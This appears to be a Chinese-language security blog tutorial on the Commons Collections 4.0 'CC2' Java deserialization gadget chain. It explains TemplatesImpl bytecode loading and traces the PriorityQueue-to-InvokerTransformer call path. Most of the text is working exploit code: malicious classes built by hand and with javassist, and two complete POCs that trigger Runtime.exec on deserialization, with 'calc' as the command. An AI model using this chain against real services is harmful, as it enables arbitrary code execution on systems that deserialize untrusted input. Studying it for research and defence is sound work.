CC2
链子对应版本:Common Collection 4.0
利用TemplatesImpl动态加载字节码
利用TemplatesImpl动态加载字节码 – Mak的小破站 (mak4r1.com)
defineClass
JAVA加载class时会依次尝试执行ClassLoader里的三个方法:
loadClass -> findClass -> defineClass
- loadClass从已经加载的缓存、父加载器寻找该类字节码
- findClass从指定uri寻找class文件,即远程或本地的.class文件或jar包
- defineClass加载前两者找到的字节码,处理成JAVA类
如果能在程序运行时执行defineClass加载自定义的字节码,就能做到动态加载字节码,创建类了。
例如,编写一下类:
1 2 3 4 5
| public class evil { public evil() throws Exception{ Runtime.getRuntime().exec("calc"); } }
|
编译出这个类的class文件,然后使用ClassLoader.defineClass加载该类的字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static void main(String[] args) throws Exception { File file = new File("./out/production/testDefineClass/evil.class"); FileInputStream filein = new FileInputStream(file); byte[] bytess = new byte[(int)file.length()]; filein.read(bytess); String base64 = new String(Base64.getEncoder().encode(bytess)); System.out.println(base64); String evilbase64 = base64; byte[] evilbytes = Base64.getDecoder().decode(evilbase64); Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defclass.setAccessible(true); Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length); evilclass.newInstance(); }
|
可以看到成功创建该类,new该类对象执行构造方法,弹出计算器。
TemplatesImpl
在ClassLoader类中,defineClass的修饰是protected,作用域不开放,在攻击的时候一般不能直接触发
而TemplatesImpl类中有一条方法利用链可以通过public的方法触发到参数可控defineClass,加载任意类。
先找defineClass的执行处,在方法defineClass中
在方法defineTransletClasses中,执行了类内的defineClass
继续向上跟进,找到getTransletInstance方法
继续向上跟,找到newTransformer方法
这里方法是public,可以直接访问执行。
因此我们的利用链是:
1 2 3 4
| public synchronized Transformer newTransformer() -> private Translet getTransletInstance() -> private void defineTransletClasses() -> Class defineClass(final byte[] b)
|
利用的条件:
属性_name不为null,属性_class为null(_class本来就为null):
属性_bytecode为二维byte数组,存入恶意类的字节码:
然后_tfactory要设置成TransformerFactoryImpl对象,并且恶意类要继承类AbstractTranslet,这个不知道
因此
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class evil extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public evil() throws Exception{ Runtime.getRuntime().exec("calc"); } }
|
主程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class Main { public static <T> void setValue(TemplatesImpl obj,String fname,T newf) throws Exception { Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,newf); } public static void main(String[] args) throws Exception { File file = new File("./out/production/testDefineClass/evil.class"); FileInputStream filein = new FileInputStream(file); byte[] bytess = new byte[(int)file.length()]; filein.read(bytess); String base64 = new String(Base64.getEncoder().encode(bytess)); System.out.println(base64); String evilbase64 = base64; byte[] evilbytes = Base64.getDecoder().decode(evilbase64);
byte[][] evilbytes1 = new byte[][]{evilbytes}; TemplatesImpl tempobj = new TemplatesImpl(); setValue(tempobj,"_name","Fc0"); setValue(tempobj,"_bytecodes",evilbytes1); setValue(tempobj,"_tfactory",new TransformerFactoryImpl()); tempobj.newTransformer(); } }
|
成功弹计算器
利用连分析
链子有两种实现方式,第二种是基于ysoserial的实现方式做的,用到了javassist依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist生成任意类的字节码的简单演示(比较简单,网上复制的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName);
cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
|
链子一
CC2链利用流程:
构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)
创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)
通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链
链子的终点和CC1链一样,仍然是InvokeTransformer的transform方法实现任意类任意方法执行
还是查找transform方法的执行点,在TransformComparator中有个compare方法:
根据CC1链,我们需要让transform的主体也就是属性transformer是CC1链中的那个ChainedTransformer对象
看到TransformComparator的构造方法:
可以直接用new构造赋值。
因此直接使用
1 2 3 4 5
| Class runtimeClass = Runtime.class; Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})}; ChainedTransformer chtfm = new ChainedTransformer(transes);
TransformingComparator tc = new TransformingComparator(chtfm);
|
就获得我们想要的TransformingComparator对象
代码分析
Transformer[] transes = new Transformer[]{}
这里你定义了一个 Transformer
数组,每个 Transformer
代表一个操作,通过这些操作你可以在运行时进行反射调用。
new ConstantTransformer(runtimeClass)
这一步创建了一个 ConstantTransformer
,将 Runtime.class
作为常量传递给后续的 Transformer
。Runtime.class
是 Java 的 Runtime
类,用于执行底层系统命令。
new InvokerTransformer("getDeclaredMethod", ...)
这里使用了 InvokerTransformer
,通过反射调用 Runtime.class
的 getDeclaredMethod
方法,获取 Runtime
的 getRuntime()
方法。
new InvokerTransformer("invoke", ...)
这个 InvokerTransformer
用于调用前面获取到的 getRuntime()
方法,来获取当前的 Runtime
实例。
new InvokerTransformer("exec", ...)
最后通过 exec
方法,调用 Runtime
实例的 exec(String command)
方法,传入命令 "calc"
(即在 Windows 系统中打开计算器)。
ChainedTransformer chtfm = new ChainedTransformer(transes)
这一步将所有 Transformer
链接起来,形成一个链式调用,通过 ChainedTransformer
将多个操作组合成一个整体执行流程。
TransformingComparator tc = new TransformingComparator(chtfm)
TransformingComparator
是用于比较的包装类。这里的关键点是,TransformingComparator
将会使用你定义的 ChainedTransformer
来转换输入对象,从而在比较时触发相应的链式调用。
继续往下找,compare方法在JAVA的优先级队列类PriorityQueue中有实现:
而PriorityQueue的readObject方法正好会用到这个compare。找到readObject方法:
跟进最后一行的heapify方法:
跟进siftDown方法
跟进siftDownUsingComparator方法:
这里就跟到了compare方法
而对于属性queue,看到writeObject方法:
会遍历queue进行writeObject,对应的readObject依次读入queue的各个对象,并检查queue是否符合writeObject时的数量。
这样整个链子就完结了。
至于参数,由于我们直接使用CC1链中以ConstantTransformer开头的ChainedTransformer链式调用transform的方法,就不用关心给到transform的参数是什么了(ConstantTransformer固定返回我们想要的对象,给第二个transform作为参数)
只需要让comparator属性为我们构造的的tc就行了,同样这也直接在构造方法里就可以赋值
构造PriorityQueue对象之后,我们这里使用add方法对queue进行赋值,确保前面这些方法在能够正常对queue遍历即可
1 2 3 4
| PriorityQueue pq = new PriorityQueue(tc); pq.add(1); pq.add(2);
|
但是这样会出现问题。
跟进add方法:
跟进offer:
跟进siftUp:
这里也用到了siftUpUsingComparator方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于compare方法中,在命令执行后会抛出一个异常
这会导致我们构造序列化数据的过程直接中断。
这是因为这一句
我们在构造TransformingComparator对象的时候,用的是这个构造方法
于是就会跟进调用这个重载的构造方法
因此decorated属性被设置为ComparatorUtils.NATURAL_COMPARATOR
跟进这个ComparatorUtils看看
那么跟进看看ComparableComparator.comparableComparator()静态方法
再跟进到当前类的INSTANCE
到这里指向了最终的对象,也就是说执行了ComparableComparator的compare方法,给的两个参数是transform方法返回的结果
继续跟进到ComparableComparator的compare方法
参数类型要求的是泛型E,而E在类中的声明是:
这要求参数必须是实现了Comparable接口的类型。而我们transform执行的是exec方法,显然返回的对象类型java.lang.Process没有实现这个接口,因此就报错了
解决的办法有很多,一种是在构造PriorityQueue用数字做参数,这样走的就是这个构造器
comparator为null,这样执行siftUp和siftDown的时候就会走else分支,执行siftUpComparable
这个方法没有compare,处理正常数据就不会报错。
在add数据之后,通过反射把PriorityQueue对象的comparator设置成我们的tc,就拿到了我们最终想要序列化的PriorityQueue对象了
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class Main { public static void serialize(Object o) throws Exception{ ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt")); objout.writeObject(o); } public static void unserialize() throws Exception{ ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt")); objinp.readObject(); } public static void main(String[] args) throws Exception{ Class runtimeClass = Runtime.class; Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})}; ChainedTransformer chtfm = new ChainedTransformer(transes); TransformingComparator tc = new TransformingComparator(chtfm); tc.compare(runtimeClass,runtimeClass); PriorityQueue pq = new PriorityQueue(1); pq.add(1); pq.add(2); Field cp = PriorityQueue.class.getDeclaredField("comparator"); cp.setAccessible(true); cp.set(pq,tc); serialize(pq); unserialize(); }}
|
链子二
其实是一个链子,只是实现方法不一样,在ysoserial中CC2链子使用的是templatesImpl动态加载字节码的函数,最终实现exec
也就是说我们最终想实现的代码是:
1 2 3 4 5 6 7
| TemplatesImpl tempobj = new TemplatesImpl(); setValue(tempobj,"_name","123"); setValue(tempobj,"_bytecodes",generateByteCode()); setValue(tempobj,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null); ivt.transform(tempobj)
|
(TemplatesImpl的newTransformer最终是能跟到defineClass的)
其中generateByteCode方法,使用javassist返回首元素是恶意类的字节码的二维byte数组:
1 2 3 4 5 6 7 8 9 10 11
| public static byte[][] generateByteCode() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()}; return evilbyte; }
|
代码解析:
- ClassPool 与 CtClass:
ClassPool cp = ClassPool.getDefault();
创建了一个默认的类池,用于生成新的类。
CtClass cc = cp.makeClass("evil");
创建了一个名为 “evil” 的类。
- 插入静态代码块:
cc.makeClassInitializer().insertBefore(cmd);
通过插入静态代码块,在类加载时执行 cmd
,该 cmd
是调用计算器的命令。
- 设置父类:
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
设置 evil
类的父类为 AbstractTranslet
(该类属于 javax.xml.transform
包的一部分),这是因为某些 TemplatesImpl
类会要求其子类继承自 AbstractTranslet
。
- 生成字节码:
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
将生成的类字节码保存到二维字节数组 evilbyte
中,并返回。
除此之外,实现方式还略有不同,一是因为templatesImpl和Runtime不一样,它是一个可序列化的类,二是因为CC2链传给transform的参数是可控的(和CC1不一样),因此这里没有用到ChainedTransformer和ConstantTransformer而是直接将templatesImpl对象作为参数传给了InvokeTransformer的transform
看看参数是怎么传递的
直接看最后的siftDownUsingComparator,compare拿到的参数c和queue[right]就是直接从queue中取得的对象。
而compare方法中,拿到的两个参数obj1和obj2都是transform方法的参数
因此只要让我们的PriorityQueue对象的queue数组是两个我们的tempobj就可以了
这里换一种方式解决序列化时候报错的问题,用反射而非add设置我们的queue属性。由于不是add,我们还需要设置好数组大小size属性,不然size为0,走到这里就会终止:
1 2 3 4 5 6 7
| Field qf_queue = PriorityQueue.class.getDeclaredField("queue"); qf_queue.setAccessible(true); qf_queue.set(pq,new Object[]{tempobj,tempobj}); Field qf_size = PriorityQueue.class.getDeclaredField("size"); qf_size.setAccessible(true); qf_size.set(pq,2);
|
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package org.example; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class Main { public static void serialize(Object o) throws Exception{ ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt")); objout.writeObject(o); } public static void unserialize() throws Exception{ ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt")); objinp.readObject(); } public static byte[][] generateByteCode() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()}; return evilbyte; } public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception { Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,newf); } public static void main(String[] args) throws Exception{
TemplatesImpl tempobj = new TemplatesImpl(); setValue(tempobj,"_name","123"); setValue(tempobj,"_bytecodes",generateByteCode()); setValue(tempobj,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
TransformingComparator tc = new TransformingComparator(ivt); PriorityQueue pq = new PriorityQueue(tc); Field qf_queue = PriorityQueue.class.getDeclaredField("queue"); qf_queue.setAccessible(true); qf_queue.set(pq,new Object[]{tempobj,tempobj}); Field qf_size = PriorityQueue.class.getDeclaredField("size"); qf_size.setAccessible(true); qf_size.set(pq,2); serialize(pq); unserialize(); } }
|
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13
| PriorityQueue.readObject -> PriorityQueue.heapify -> PriorityQueue.siftDown -> PriorityQueue.siftDownUsingComparator -> TransformingComparator.compare -> InvokerTransformer.transform -> TemplatesImpl.newTransformer -> TemplatesImpl.getTransletInstance -> TemplatesImpl.defineTransletClasses -> ClassLoader.defineClass
|